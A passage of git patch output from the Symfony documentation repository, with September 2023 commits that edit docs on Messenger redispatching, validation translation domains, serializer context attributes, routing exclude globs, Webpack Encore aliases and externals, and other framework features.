     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
@@ -2773,12 +2771,10 @@ it through your bus. Let's do this with the ``SmsNotification`` seen earlier::
         }
     }
 
-The built-in
-:class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler` will
-take care of this message and redispatch it through the same bus it's been
-dispatched at first. You can also use the second argument of the
-``RedispatchMessage`` constructor to provide transports to use when
-redispatching the message.
+The built-in :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
+will take care of this message to redispatch it through the same bus it was
+dispatched at first. You can also use the second argument of the ``RedispatchMessage``
+constructor to provide transports to use when redispatching the message.
 
 .. versionadded:: 6.3
 

From d1839162f9cacf368369fad97796f7245266441e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 17:59:46 +0200
Subject: [PATCH 5155/7107] Add a section about redispatching messages

---
 messenger.rst | 44 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index f216cb88e59..138447daf5a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2608,6 +2608,50 @@ Messenger gives you a single message bus service by default. But, you can config
 as many as you want, creating "command", "query" or "event" buses and controlling
 their middleware. See :doc:`/messenger/multiple_buses`.
 
+Redispatching a Message
+-----------------------
+
+It you want to redispatch a message (using the same transport and envelope), create
+a new :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
+it through your bus. Reusing the same ``SmsNotification`` example shown earlier::
+
+    // src/MessageHandler/SmsNotificationHandler.php
+    namespace App\MessageHandler;
+
+    use App\Message\SmsNotification;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Messenger\Message\RedispatchMessage;
+
+    #[AsMessageHandler]
+    class SmsNotificationHandler
+    {
+        public function __construct(private MessageBusInterface $bus)
+        {
+        }
+
+        public function __invoke(SmsNotification $message): void
+        {
+            // do something with the message
+            // then redispatch it based on your own logic
+
+            if ($needsRedispatch) {
+                $this->bus->dispatch(new RedispatchMessage($message));
+            }
+        }
+    }
+
+The built-in :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
+will take care of this message to redispatch it through the same bus it was
+dispatched at first. You can also use the second argument of the ``RedispatchMessage``
+constructor to provide transports to use when redispatching the message.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`
+    and :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
+    classes were introduced in Symfony 6.3.
+
 Learn more
 ----------
 

From 106ffe027b0d02cb32c1e80f43ef7816055dc340 Mon Sep 17 00:00:00 2001
From: Emanuele Panzeri <thepanz@gmail.com>
Date: Tue, 12 Sep 2023 11:53:03 +0200
Subject: [PATCH 5156/7107] Correct dotenv:dump command reference from dump-env

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 586a7abaf43..76c21a25c42 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -877,7 +877,7 @@ get the environment variables and will not spend time parsing the ``.env`` files
 
 .. tip::
 
-    Update your deployment tools/workflow to run the ``dump-env`` command after
+    Update your deployment tools/workflow to run the ``dotenv:dump`` command after
     each deploy to improve the application performance.
 
 .. _configuration-secrets:

From 3a4b6bac0cda0f9d1688ae7ec5b59d3649e104b9 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent@morselli.fr>
Date: Tue, 12 Sep 2023 12:58:17 +0200
Subject: [PATCH 5157/7107] Fix title level

---
 reference/configuration/security.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 55ce42d8625..a3f2b04346e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -351,7 +351,7 @@ redirected to the ``default_target_path`` to avoid a redirection loop.
 **Options Related to Logout Configuration**
 
 delete_cookies
-~~~~~~~~~~~~~~
+..............
 
 **type**: ``array`` **default**: ``[]``
 
@@ -425,8 +425,9 @@ user logs out::
             ],
         ]);
 
+
 clear_site_data
-~~~~~~~~~~~~~~~
+...............
 
 **type**: ``array`` **default**: ``[]``
 
@@ -498,7 +499,7 @@ It's also possible to use ``*`` as a wildcard for all directives:
     The ``clear_site_data`` option was introduced in Symfony 6.3.
 
 invalidate_session
-~~~~~~~~~~~~~~~~~~
+..................
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -511,14 +512,14 @@ option to ``false`` in every firewall and the user will only be logged out from
 the current firewall and not the other ones.
 
 ``path``
-~~~~~~~~
+........
 
 **type**: ``string`` **default**: ``/logout``
 
 The path which triggers logout. You need to set up a route with a matching path.
 
 target
-~~~~~~
+......
 
 **type**: ``string`` **default**: ``/``
 
@@ -529,7 +530,7 @@ redirect after logout.
 .. _reference-security-logout-csrf:
 
 enable_csrf
-~~~~~~~~~~~
+...........
 
 **type**: ``boolean`` **default**: ``null``
 
@@ -542,14 +543,14 @@ option if you need to use a custom CSRF token manager.
     The ``enable_csrf`` option was introduced in Symfony 6.2.
 
 csrf_parameter
-~~~~~~~~~~~~~~
+..............
 
 **type**: ``string`` **default**: ``'_csrf_token'``
 
 The name of the parameter that stores the CSRF token value.
 
 csrf_token_manager
-~~~~~~~~~~~~~~~~~~
+..................
 
 **type**: ``string`` **default**: ``null``
 

From 1881480ea5613822b632709b8a4db7c63fce9964 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 13 Sep 2023 14:30:52 +0200
Subject: [PATCH 5158/7107] [Validator] Add `is_valid()` expression

---
 reference/constraints/Expression.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 593aa4b8ba7..877b45c4004 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -244,6 +244,14 @@ in your expression:
 * ``value``: The value of the property being validated (only available when
   the constraint is applied directly to a property);
 
+You also have access to the ``is_valid()`` function in your expression. It
+allows to check that the data passed to function doesn't raise any
+validation violation.
+
+.. versionadded:: 6.4
+
+    The ``is_valid()`` expression function was introduced in Symfony 6.4.
+
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``

From 96d6a91c7324d60375b6115a37a802ee4e27562a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 13 Sep 2023 14:34:11 +0200
Subject: [PATCH 5159/7107] [Messenger] Fix import order

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 138447daf5a..f6330f9987e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2620,8 +2620,8 @@ it through your bus. Reusing the same ``SmsNotification`` example shown earlier:
 
     use App\Message\SmsNotification;
     use Symfony\Component\Messenger\Attribute\AsMessageHandler;
-    use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Message\RedispatchMessage;
+    use Symfony\Component\Messenger\MessageBusInterface;
 
     #[AsMessageHandler]
     class SmsNotificationHandler

From b6318e3a2e024b10432108c5c23674caa79fd0f3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Sep 2023 15:30:46 +0200
Subject: [PATCH 5160/7107] Tweak

---
 reference/constraints/Expression.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 877b45c4004..1f3b4dcdb7c 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -244,9 +244,8 @@ in your expression:
 * ``value``: The value of the property being validated (only available when
   the constraint is applied directly to a property);
 
-You also have access to the ``is_valid()`` function in your expression. It
-allows to check that the data passed to function doesn't raise any
-validation violation.
+You also have access to the ``is_valid()`` function in your expression. This function
+checks that the data passed to function doesn't raise any validation violation.
 
 .. versionadded:: 6.4
 

From b8135fc20cd70cf1abcc8de0140c966da0a074c4 Mon Sep 17 00:00:00 2001
From: aliber4079 <alex@zoosmart.us>
Date: Thu, 14 Sep 2023 11:22:13 -0500
Subject: [PATCH 5161/7107] Update page_creation.rst

show how to start symfony server
---
 page_creation.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/page_creation.rst b/page_creation.rst
index a83901e58e5..46ebcf53370 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -79,6 +79,7 @@ metadata to code):
       }
 
 That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
+To start the symfony webserver, cd to your project directory and type symfony server:start
 
 .. tip::
 

From 2f1fc2d7200b8066e40b9b1155ad508580418902 Mon Sep 17 00:00:00 2001
From: aliber4079 <alex@zoosmart.us>
Date: Fri, 15 Sep 2023 12:29:53 -0500
Subject: [PATCH 5162/7107] Update page_creation.rst

making it friendlier to newbies
---
 page_creation.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/page_creation.rst b/page_creation.rst
index a83901e58e5..71864f24d81 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -38,6 +38,7 @@ Suppose you want to create a page - ``/lucky/number`` - that generates a lucky (
 random) number and prints it. To do that, create a "Controller" class and a
 "controller" method inside of it::
 
+    <?php
     // src/Controller/LuckyController.php
     namespace App\Controller;
 

From 8f381f675a515637ece1f0b5399dd14eb769a9a0 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 16 Sep 2023 13:28:16 +0200
Subject: [PATCH 5163/7107] [Translator] Fix `default-path` XML config

---
 translation.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 8166aa595de..ffaca50044d 100644
--- a/translation.rst
+++ b/translation.rst
@@ -84,10 +84,9 @@ are located:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config default-locale="en">
-                <framework:translator>
-                    <framework:default-path>'%kernel.project_dir%/translations'</framework:default-path>
-                    <!-- ... -->
-                </framework:translator>
+                <framework:translator
+                    default-path="%kernel.project_dir%/translations"
+                />
             </framework:config>
         </container>
 

From 478d6aecb6b8f5836d955bb10885d07208208a4a Mon Sep 17 00:00:00 2001
From: Lorenzo Ruozzi <lollor98@hotmail.it>
Date: Mon, 18 Sep 2023 10:03:31 +0200
Subject: [PATCH 5164/7107] Fix Doctrine's middlewares sorting

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 138447daf5a..5775c4a4acf 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2405,14 +2405,14 @@ may want to use:
                             # instead of keeping them open forever
                             - doctrine_close_connection
 
+                            # logs an error when a Doctrine transaction was opened but not closed
+                            - doctrine_open_transaction_logger
+
                             # wraps all handlers in a single Doctrine transaction
                             # handlers do not need to call flush() and an error
                             # in any handler will cause a rollback
                             - doctrine_transaction
 
-                            # logs an error when a Doctrine transaction was opened but not closed
-                            - doctrine_open_transaction_logger
-
                             # or pass a different entity manager to any
                             #- doctrine_transaction: ['custom']
 

From 642eba5cd3a22455a8c612c6d3eae18607252476 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 16 Sep 2023 13:39:36 +0200
Subject: [PATCH 5165/7107] [Validator] Add a section for custom translation
 domain

---
 validation/translations.rst | 63 +++++++++++++++++++++++++++++++++++--
 1 file changed, 61 insertions(+), 2 deletions(-)

diff --git a/validation/translations.rst b/validation/translations.rst
index 3f7f461aacd..721273562c1 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -135,5 +135,64 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
             'author.name.not_blank' => 'Please enter an author name.',
         ];
 
-You may need to clear your cache (even in the dev environment) after creating this
-file for the first time.
+You may need to clear your cache (even in the dev environment) after creating
+this file for the first time.
+
+Custom Translation Domain
+-------------------------
+
+The default translation domain can be changed globally using the
+``FrameworkBundle`` configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/validator.yaml
+        framework:
+            validation:
+                translation_domain: validation_errors
+
+    .. code-block:: xml
+
+        <!-- config/packages/validator.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:validation
+                    translation-domain="validation_errors"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/validator.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework
+                ->validation()
+                    ->translationDomain('validation_errors')
+            ;
+        };
+
+Or it can be customized for a specific violation from a constraint validator::
+
+    public function validate($value, Constraint $constraint): void
+    {
+        // validation logic
+
+        $this->context->buildViolation($constraint->message)
+            ->setParameter('{{ string }}', $value)
+            ->setTranslationDomain('validation_errors')
+            ->addViolation();
+    }

From e599eac456afe8d4ee51b2eed4c740f23a103f1c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 11:34:10 +0200
Subject: [PATCH 5166/7107] Add a link to the Symfony web server article

---
 page_creation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index ef39478f2ee..0f938ac505c 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -79,8 +79,8 @@ metadata to code):
           }
       }
 
-That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
-To start the symfony webserver, cd to your project directory and type symfony server:start
+That's it! If you are using :doc:`the Symfony web server </setup/symfony_server>`,
+try it out by going to: http://localhost:8000/lucky/number
 
 .. tip::
 

From 7b2c557a88e1dd387b59ad6f8d9782a691d7bfaa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 13:15:01 +0200
Subject: [PATCH 5167/7107] Update RST linter configuration to fix CI

---
 .doctor-rst.yaml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 8668e32e95b..28c04d5143f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -80,6 +80,8 @@ rules:
 exclude_rule_for_file:
     - path: configuration/multiple_kernels.rst
       rule_name: replacement
+    - path: page_creation.rst
+      rule_name: no_php_open_tag_in_code_block_php_directive
 
 # do not report as violation
 whitelist:

From 14e6e8e93aee4cd05787f8c2d1ba5451bde9d4be Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 14:37:12 +0200
Subject: [PATCH 5168/7107] Reorder some use imports to fix CI

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 5775c4a4acf..08319fe4377 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2620,8 +2620,8 @@ it through your bus. Reusing the same ``SmsNotification`` example shown earlier:
 
     use App\Message\SmsNotification;
     use Symfony\Component\Messenger\Attribute\AsMessageHandler;
-    use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Message\RedispatchMessage;
+    use Symfony\Component\Messenger\MessageBusInterface;
 
     #[AsMessageHandler]
     class SmsNotificationHandler

From 431c87140e1f0c8f4def8cc9409ae2fe5da90a46 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 18 Sep 2023 16:46:11 +0200
Subject: [PATCH 5169/7107] [Serializer] Add `#[Context]` support on classes

---
 serializer.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 3b7b286f703..bc14b1c0c65 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -248,6 +248,31 @@ The attribute can be repeated as much as needed on a single property.
 Context without group is always applied first. Then context for the matching
 groups are merged in the provided order.
 
+If you don't want to put the same context on multiple properties, it is
+possible to use the ``#[Context]`` attribute directly on your class::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Annotation\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+    #[Context(
+        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+        groups: ['extended'],
+    )]
+    class Person
+    {
+        // ...
+    }
+
+The defined context will apply on all the properties of your class.
+
+.. versionadded:: 6.4
+
+    The support of the ``#[Context]`` attribute on classes was introduced in
+    Symfony 6.4.
+
 .. _serializer-using-context-builders:
 
 Using Context Builders

From b095edc71e2d6ce3fcde37efc204a6d601d70fcf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 18 Sep 2023 16:59:56 +0200
Subject: [PATCH 5170/7107] [FrameworkBundle] Add token attributes in
 `KernelBrowser::loginUser()`

---
 testing.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 4caca0751bb..73cac344391 100644
--- a/testing.rst
+++ b/testing.rst
@@ -717,13 +717,21 @@ You can pass any
 :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` instance to
 ``loginUser()``. This method creates a special
 :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
-stores in the session of the test client.
+stores in the session of the test client. If you need to define custom
+attributes in this token, you can use the ``tokenAttributes`` argument of the
+:method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser` method.
 
 .. note::
 
     By design, the ``loginUser()`` method doesn't work when using stateless firewalls.
     Instead, add the appropriate token/header in each ``request()`` call.
 
+.. versionadded:: 6.4
+
+    The ``tokenAttributes`` argument of the
+    :method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser` method
+    was introduced in Symfony 6.4.
+
 Making AJAX Requests
 ....................
 

From 517538993b12c184040668384639c38dc1fff0f7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 17:32:34 +0200
Subject: [PATCH 5171/7107] [Messenger] Mention the transport factory
 autoconfiguration

---
 messenger/custom-transport.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index e496fcf6263..dcd7b26971b 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -132,6 +132,11 @@ and :class:`Symfony\\Component\\Messenger\\Bridge\\Doctrine\\Transport\\Doctrine
 Register your Factory
 ---------------------
 
+Before using your factory, you must register it. If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
+Otherwise, add the following:
+
 .. configuration-block::
 
     .. code-block:: yaml

From 502c599ec1dda4b89a7fd216a46ebca42e215daf Mon Sep 17 00:00:00 2001
From: Bartosz Belski <arkanidius@gmail.com>
Date: Mon, 18 Sep 2023 23:25:30 +0200
Subject: [PATCH 5172/7107] [Validator] Translate validator message in docs

---
 reference/constraints/PasswordStrength.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 20e1fceacd7..56970fe2f00 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -128,7 +128,7 @@ The default message supplied when the password does not reach the minimum requir
     class User
     {
         #[Assert\PasswordStrength([
-            'message' => 'Le mot de passe est trop faible. Veuillez utiliser un mot de passe plus fort.'
+            'message' => 'The password strength is too low. Please use a stronger password.'
         ])]
         protected $rawPassword;
     }

From 6be09724aadfde2f1994c8dd5cda3d76832270c4 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Mon, 18 Sep 2023 17:48:29 -0400
Subject: [PATCH 5173/7107] Corrected missing property promotion.

Fixes #18886 .

Promoted the constructor parameter to a private property to fix the example code.
---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index b14c1b5423d..483a68c26e9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -694,7 +694,7 @@ attribute::
     {
         public function __construct(
             #[AutowireServiceClosure('third_party.remote_message_formatter')]
-            \Closure $messageFormatterResolver
+            private \Closure $messageFormatterResolver
         ) {
         }
 

From 43b83ef5e81cc1890cabfde57632b913ebbb206a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 09:18:31 +0200
Subject: [PATCH 5174/7107] Tweaks

---
 serializer.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index bc14b1c0c65..daa898dbb7b 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -248,8 +248,9 @@ The attribute can be repeated as much as needed on a single property.
 Context without group is always applied first. Then context for the matching
 groups are merged in the provided order.
 
-If you don't want to put the same context on multiple properties, it is
-possible to use the ``#[Context]`` attribute directly on your class::
+If you repeat the same context in multiple properties, consider using the
+``#[Context]`` attribute on your class to apply that context configuration to
+all the properties of the class::
 
     namespace App\Model;
 
@@ -266,12 +267,9 @@ possible to use the ``#[Context]`` attribute directly on your class::
         // ...
     }
 
-The defined context will apply on all the properties of your class.
-
 .. versionadded:: 6.4
 
-    The support of the ``#[Context]`` attribute on classes was introduced in
-    Symfony 6.4.
+    The ``#[Context]`` attribute was introduced in Symfony 6.4.
 
 .. _serializer-using-context-builders:
 

From fe04b386efb147fb68a37b5ca026ad92255fa785 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 15:05:40 +0200
Subject: [PATCH 5175/7107] [Routing] Improve the explanation of the exclude
 parameter

---
 routing.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index 6b39604eed0..b9e5492c612 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1670,7 +1670,8 @@ when importing the routes.
             # trailing_slash_on_root: false
 
             # you can optionally exclude some files/subdirectories when loading annotations
-            # exclude: '../../src/Controller/{DebugEmailController}.php'
+            # (the value must be a string or an array of PHP glob patterns)
+            # exclude: '../../src/Controller/{Debug*Controller.php}'
 
     .. code-block:: xml
 
@@ -1685,12 +1686,13 @@ when importing the routes.
                 the 'prefix' value is added to the beginning of all imported route URLs
                 the 'name-prefix' value is added to the beginning of all imported route names
                 the 'exclude' option defines the files or subdirectories ignored when loading annotations
+                (the value must be a PHP glob pattern and you can repeat this option any number of times)
             -->
             <import resource="../../src/Controller/"
                 type="annotation"
                 prefix="/blog"
                 name-prefix="blog_"
-                exclude="../../src/Controller/{DebugEmailController}.php">
+                exclude="../../src/Controller/{Debug*Controller.php}">
                 <!-- these requirements are added to all imported routes -->
                 <requirement key="_locale">en|es|fr</requirement>
             </import>
@@ -1716,7 +1718,8 @@ when importing the routes.
                     false,
                     // the optional fourth argument is used to exclude some files
                     // or subdirectories when loading annotations
-                    '../../src/Controller/{DebugEmailController}.php'
+                    // (the value must be a string or an array of PHP glob patterns)
+                    '../../src/Controller/{Debug*Controller.php}'
                 )
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')

From 1862b4efbee96bc7437dbdadba8a06e4eb3d3e43 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 13:07:28 +0200
Subject: [PATCH 5176/7107] [Webpack Encore] Document addAliases() and
 addExternals() methods

---
 frontend/encore/advanced-config.rst | 42 +++++++++++++++++++++++++++++
 1 file changed, 42 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index cfe50ee1658..4214e5e5b80 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -236,7 +236,49 @@ The following loaders are configurable with ``configureLoaderRule()``:
   - ``typescript`` (alias ``ts``)
   - ``handlebars``
 
+Configuring Aliases When Importing or Requiring Modules
+-------------------------------------------------------
+
+The `Webpack resolve.alias option`_ allows to create aliases to simplify the
+``import`` or ``require`` of certain modules (e.g. by aliasing commonly used ``src/``
+folders). In Webpack Encore you can use this option via the ``addAliases()`` method:
+
+.. code-block:: javascript
+
+    Encore.addAliases({
+        Utilities: path.resolve(__dirname, 'src/utilities/'),
+        Templates: path.resolve(__dirname, 'src/templates/')
+    })
+
+With the above config, you could now import certain modules more concisely:
+
+.. code-block:: diff
+
+    -import Utility from '../../utilities/utility';
+    +import Utility from 'Utilities/utility';
+
+Excluding Some Dependencies from Output Bundles
+-----------------------------------------------
+
+The `Webpack externals option`_ allows to prevent bundling of certain imported
+packages and instead retrieve those external dependencies at runtime. This feature
+is mostly useful for JavaScript library developers, so you probably won't need it.
+
+In Webpack Encore you can use this option via the ``addExternals()`` method:
+
+.. code-block:: javascript
+
+    // this won't include jQuery and React in the output bundles generated
+    // by Webpack Encore. You'll need to load those dependencies yourself
+    // (e.g with a `<script>` tag) to make the application or website work.
+    Encore.addExternals({
+        jquery: 'jQuery',
+        react: 'react'
+    })
+
 .. _`configuration options`: https://webpack.js.org/configuration/
 .. _`array of configurations`: https://webpack.js.org/configuration/configuration-types/#exporting-multiple-configurations
 .. _`Karma`: https://karma-runner.github.io
 .. _`Watching Options`: https://webpack.js.org/configuration/watch/#watchoptions
+.. _`Webpack resolve.alias option`: https://webpack.js.org/configuration/resolve/#resolvealias
+.. _`Webpack externals option`: https://webpack.js.org/configuration/externals/

From 92a6267da4e030fe121752785f825e512ca3ac33 Mon Sep 17 00:00:00 2001
From: Mykola Martynov <mykola.martynov@hotmail.com>
Date: Tue, 19 Sep 2023 11:17:02 +0300
Subject: [PATCH 5177/7107] Fix initialization of configurable options for the
 attribute

---
 validation/custom_constraint.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index d44346352fd..b3909515fa3 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -41,7 +41,16 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
         class ContainsAlphanumeric extends Constraint
         {
             public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
+            public $mode = 'strict';
+
+            // all configurable options must be passed to the constructor
+            public function __construct(string $mode = null, string $message = null, array $groups = null, $payload = null)
+            {
+                parent::__construct([], $groups, $payload);
+
+                $this->mode = $mode ?? $this->mode;
+                $this->message = $message ?? $this->message;
+            }
         }
 
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to

From cc0833a05c7ad651ce2b0bb6e5f69e47166836c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 10:31:52 +0200
Subject: [PATCH 5178/7107] Reword

---
 reference/constraints/PasswordStrength.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 56970fe2f00..10a19b342d6 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -128,7 +128,7 @@ The default message supplied when the password does not reach the minimum requir
     class User
     {
         #[Assert\PasswordStrength([
-            'message' => 'The password strength is too low. Please use a stronger password.'
+            'message' => 'Your password is too easy to guess. Company\'s security policy requires to use a stronger password.'
         ])]
         protected $rawPassword;
     }

From 4a4d9ded8c1ff11f8ee659dc42594e5a878a675d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Sep 2023 16:02:34 +0200
Subject: [PATCH 5179/7107] [Doctrine] Update the article about Doctrine events

---
 doctrine/events.rst | 365 ++++++++++++++------------------------------
 1 file changed, 113 insertions(+), 252 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 411b83745c2..4046191998a 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -13,23 +13,20 @@ on other common tasks (e.g. ``loadClassMetadata``, ``onClear``).
 
 There are different ways to listen to these Doctrine events:
 
-* **Lifecycle callbacks**, they are defined as public methods on the entity classes and
-  they are called when the events are triggered;
-* **Lifecycle listeners and subscribers**, they are classes with callback
-  methods for one or more events and they are called for all entities;
-* **Entity listeners**, they are similar to lifecycle listeners, but they are
-  called only for the entities of a certain class.
-
-These are the **drawbacks and advantages** of each one:
-
-* Callbacks have better performance because they only apply to a single entity
-  class, but you can't reuse the logic for different entities and they don't
-  have access to :doc:`Symfony services </service_container>`;
-* Lifecycle listeners and subscribers can reuse logic among different entities
-  and can access Symfony services but their performance is worse because they
-  are called for all entities;
-* Entity listeners have the same advantages of lifecycle listeners and they have
